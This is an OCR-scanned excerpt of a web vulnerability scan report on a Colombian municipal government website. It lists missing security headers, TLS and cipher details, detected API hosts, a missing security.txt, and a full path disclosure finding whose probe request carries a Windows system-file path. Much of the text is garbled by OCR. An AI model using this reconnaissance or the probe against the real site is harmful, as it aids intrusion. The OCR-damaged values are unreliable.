User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi | e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 01:41:55 GVI

Cont ent - Type: text/htm

Content-Length: 31

Connection: keep-alive

Last- Modi fied: Sun, 11 Dec 2016 21:51:10 GMVI
Accept - Ranges: bytes

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-
chia-y-personerias-juridicas/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 05/ 10/ tranite-para-solicitar-certificados-de-residencia-en-el-territorio-
de-chi a-y- personeri as-juridicas/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mobbi l e: 20
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Sec- Ch-Ua- Pl atform "Linux"
Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:04:12 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 7526>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov. co
/ web/ ?p=7526>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

Identification

OUTPUT
The scanner detected the |lack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca- donoso/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:08:06 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[/ wp-j son/ wp/ v2/ post s/ 22424>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[ web/ ?p=22424>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namarca. gov. co/ web

Cont ent - Encodi ng: gzip
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INSTANCE

https://chia-cundinamarca.gov.co/web/directorio/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ di rectori o/

REQUEST HEADERS

Referer: https://chia-cundi namarca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: same-origin

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:46:26 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 566>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=566>; rel =shortlink

X- TEC- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

Identification

OUTPUT
The scanner detected the lack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ control -i nt er no-di sci pl i nari o/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent
Sec- Fet ch- Mbde: navi gate
Sec-Fetch-Site: none
Sec- Fetch-User: 7?1
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Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:37:32 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 616>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=616>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de- | a- ent i dad/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 03:11:24 GVIT

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ posts/ 632>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=632>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web
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Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ secret ari as/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:25:45 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 653>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=653>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ t ranspar enci a- y- acceso- a- | a-i nf or maci on- publ i ca/

REQUEST HEADERS
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Referer: https://chia-cundi namarca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: same-origin

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 2?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:38:08 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/ wp/ v2/ pages/ 21>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=21>; rel =shortlink

X- TEC- API - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT
The scanner detected the |lack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET /index. php/tramites-y-servicios/sisbhen HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: ngi nx

Date: Thu, 19 Dec 2024 04:01:41 GVIT

Content-Type: text/htm; charset=utf-8

Transfer - Encodi ng: chunked

Connection: keep-alive

X-Logged-1n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expi res: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5h853b5f 45bde4860b15€2765387503; path=/; HttpOnly
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Last-Modified: Thu, 19 Dec 2024 04:01:41 GV

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-
servicios-publicos/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de- | as- enpr esas- pr est ador as- de-
servici os-publicos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 05:51:53 GV

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[/ wp-j son/ wp/ v2/ post s/ 19440>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[ web/ ?p=19440>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ web/tramites-y-servicios/
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REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:50:28 GVI

Cont ent- Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
/wp-j son/ wp/ v2/ pages/ 63>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=63>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi nanar ca. gov. co/ web/ wp-j son/tribe/events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ coni enza- el - censo- a- bar es-y- est abl eci m ent os- noct ur nos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 06:43:09 GVl

Content-Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 20823>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
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[ web/ ?p=20823>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/
X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

Identification

OUTPUT
The scanner detected the |ack of X-XSS-Protection header in the target application response.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ama- de- gest i on- docunent al /

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 05:16:57 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 805>, rel="alternate"; title="JSON'; type="application/json", <https://chia-cundinamarca.gov.co
/ web/ ?p=805>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip
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SSL/TLS Versions Supported

VULNERABILITY BINigeN PLUGIN ID 112530

Description

This plugin displays information about the SSL/TLS versions supported by remote server for HTTPS connection.

Solution

See Also

https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2018-10-03T00:00:00+00:00
2020-10-02T00:00:00+00:00
SSL/TLS

Info

112530
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SSL/TLS Versions Supported Instances (1)

VULNERABILITY BINigeN PLUGIN ID 112530

INSTANCE

https://chia-cundinamarca.gov.co/

Identification
OUTPUT

Prot ocol Supported

SSL 2.0 No
SSL 3.0 No
TLS 1.0 No
TLS 1.1 No
TLS 1.2 Yes
TLS 1.3 Yes
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Full Path Disclosure

VULNERABILITY BINigeN PLUGIN ID 112550

Description

The remote web server contains an application which is affected by a path disclosure issue. It may be possible for an attacker to
view full path names and conduct further attacks.

Solution

Disable all notice, warning and error displaying.

See Also

https://www.owasp.org/index.php/Full_Path_Disclosure

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2018-12-13700:00:00+00:00
2024-10-03T00:00:00+00:00
Data Exposure

Info

112550
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Full Path Disclosure Instances (1)

VULNERABILITY BINigeN PLUGIN ID 112550

INSTANCE

https://chia-cundinamarca.gov.co/web/

Identification

PROOF
The follow ng patterns were detected in the HTTP response body :
- C\Wndows\w n

OUTPUT
The scanner detected the disclosure of full paths in the web application response.

HTTP Info

REQUEST MADE
GET / web/ ?s=t ype%R0CYBAYGCW ndows % COwi n. i ni &cl ear - wi t h- but t on=nessus_was_t ext 2bw592d0 HTTP/ 1. 1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 00:23:53 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/"
X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/
X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p
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SSL/TLS Server Cipher Suite Preference

VULNERABILITY BINgeN PLUGIN ID 112598

Description

The remote serveris configured with a SSL/TLS cipher suite preference list used to determine the cipher suite during the

negotiation with the client.

Solution

See Also

http://www.exploresecurity.com/testing-for-cipher-suite-preference/

https://wiki.mozilla.org/Security/Server_Side_TLS

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2020-09-24T00:00:00+00:00
2020-09-24T00:00:00+00:00
SSL/TLS

Info

112598
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SSL/TLS Server Cipher Suite Preference Instances (1)

VULNERABILITY BINigeM PLUGIN ID 112598

INSTANCE

https://chia-cundinamarca.gov.co/

Identification

OUTPUT
The scanner detected that the renpte host is configured with cipher suite preference on the follow ng protocol (s):

TLS v1.3
TLS_AES 256_GCM SHA384
TLS CHACHA20 POLY1305_SHA256
TLS AES 128 GOM SHA256

TLS v1.2
TLS ECDHE RSA W TH AES 128 GCM SHA256
TLS ECDHE RSA W TH AES 256_GCM SHA384
TLS DHE_RSA W TH_AES 128 GCM SHA256
TLS DHE_RSA W TH_AES 256_GCM SHA384

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ Page 286 of 348


https://chia-cundinamarca.gov.co/

Allowed HTTP Versions

VULNERABILITY MINIgeN PLUGIN ID 112613

Description

The Hypertext Transfer Protocol (HTTP)is the underlying protocol of the World Wide Web. Since its first release, HTTP has

evolved to support modern web usages and currently exists in three versions:

-HTTP/1.0
-HTTP/1.1
-HTTP/2

The scanner identified the supported versions of the HTTP protocol on the target web application.

Solution

See Also

https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of _HTTP/Evolution_of _HTTP

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2020-10-13T00:00:00+00:00
2023-01-17T00:00:00+00:00
Web Applications

Info

112613
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Allowed HTTP Versions Instances (1)

VULNERABILITY MINIgeN PLUGIN ID 112613

INSTANCE
https://chia-cundinamarca.gov.co/

Identification

OUTPUT
The scanner detected the follow ng HTTP versions on the target application :
- HITP/1.1

The list of requests and responses observed is provided in attachnent.
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APl Detected

VULNERABILITY BINIgeN PLUGIN ID 112616

Description

The scan detected that some XHR requests seem to call an API. The scanner generated an OpenAPI file based on the observed
requests and attached it to the plugin output. This OpenAPI file can then be used to run a scan against the APl with WAS API
Scanning.

Solution
See Also

Plugin Details
PUBLICATION DATE 2020-10-21T00:00:00+00:00
MODIFICATION DATE 2020-10-21T00:00:00+00:00
FAMILY General
SEVERITY Info
PLUGIN ID 112616

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE S
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP =
CVE -
BID =
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APl Detected Instances (1)

VULNERABILITY BINIgeN PLUGIN ID 112616

INSTANCE

https://chia-cundinamarca.gov.co/

Identification

OUTPUT

APl endpoi nts have been detected for the follow ng host(s):
- https://googl eads. g. doubl ecl i ck. net
- https://jnn-pa. googl eapi s. com

- https://play.google. com

- https://ww. yout ube. com

- https://chia-cundi namar ca. gov. co

- https://transl at e- pa. googl eapi s. com
- https://cdn.syndication.tw ng.com

- https://video.tw ng.com

- https:// maps. googl eapi s. com

- https://docs. googl e. com

- https://content. googl eapi s. com

- https://transl at e. googl eapi s. com

- https://syndication.twitter.com

- https://ww. googl e-anal ytics.com

- https://apis.google.com

- https://ww. googl e. com
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Security.txt File Not Detected

VULNERABILITY BINIgeM PLUGIN ID 112723

Description

A Security.txt file has not been detected on the target.

When security risks in web services are discovered by independent security researchers, this file defines the channels to
disclose them properly & enables 3rd party researchers to disclose issues securely in a manner defined by the organization.

Organizations should consider creating a security.txt file containing contact and other information in the defined format and
place it under the .well-known directory of the server.

Solution

See Also
https://securitytxt.org/
https://tools.ietf.org/html/draft-foudil-securitytxt-11

Plugin Details
PUBLICATION DATE 2021-03-17T00:00:00+00:00
MODIFICATION DATE 2021-03-17T00:00:00+00:00
FAMILY Web Servers
SEVERITY Info
PLUGIN ID 12723

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP =
CVE -
BID =
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Security.txt File Not Detected Instances (1)

VULNERABILITY BINIgeM PLUGIN ID 112723

INSTANCE

https://chia-cundinamarca.gov.co/.well-known/security.txt

Identification

OUTPUT
No or a malforned security.txt was found at 'https://chia-cundi namarca. gov. co/.wel | - known/ security.txt'

HTTP Info

REQUEST MADE
GET /.well-known/security.txt HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
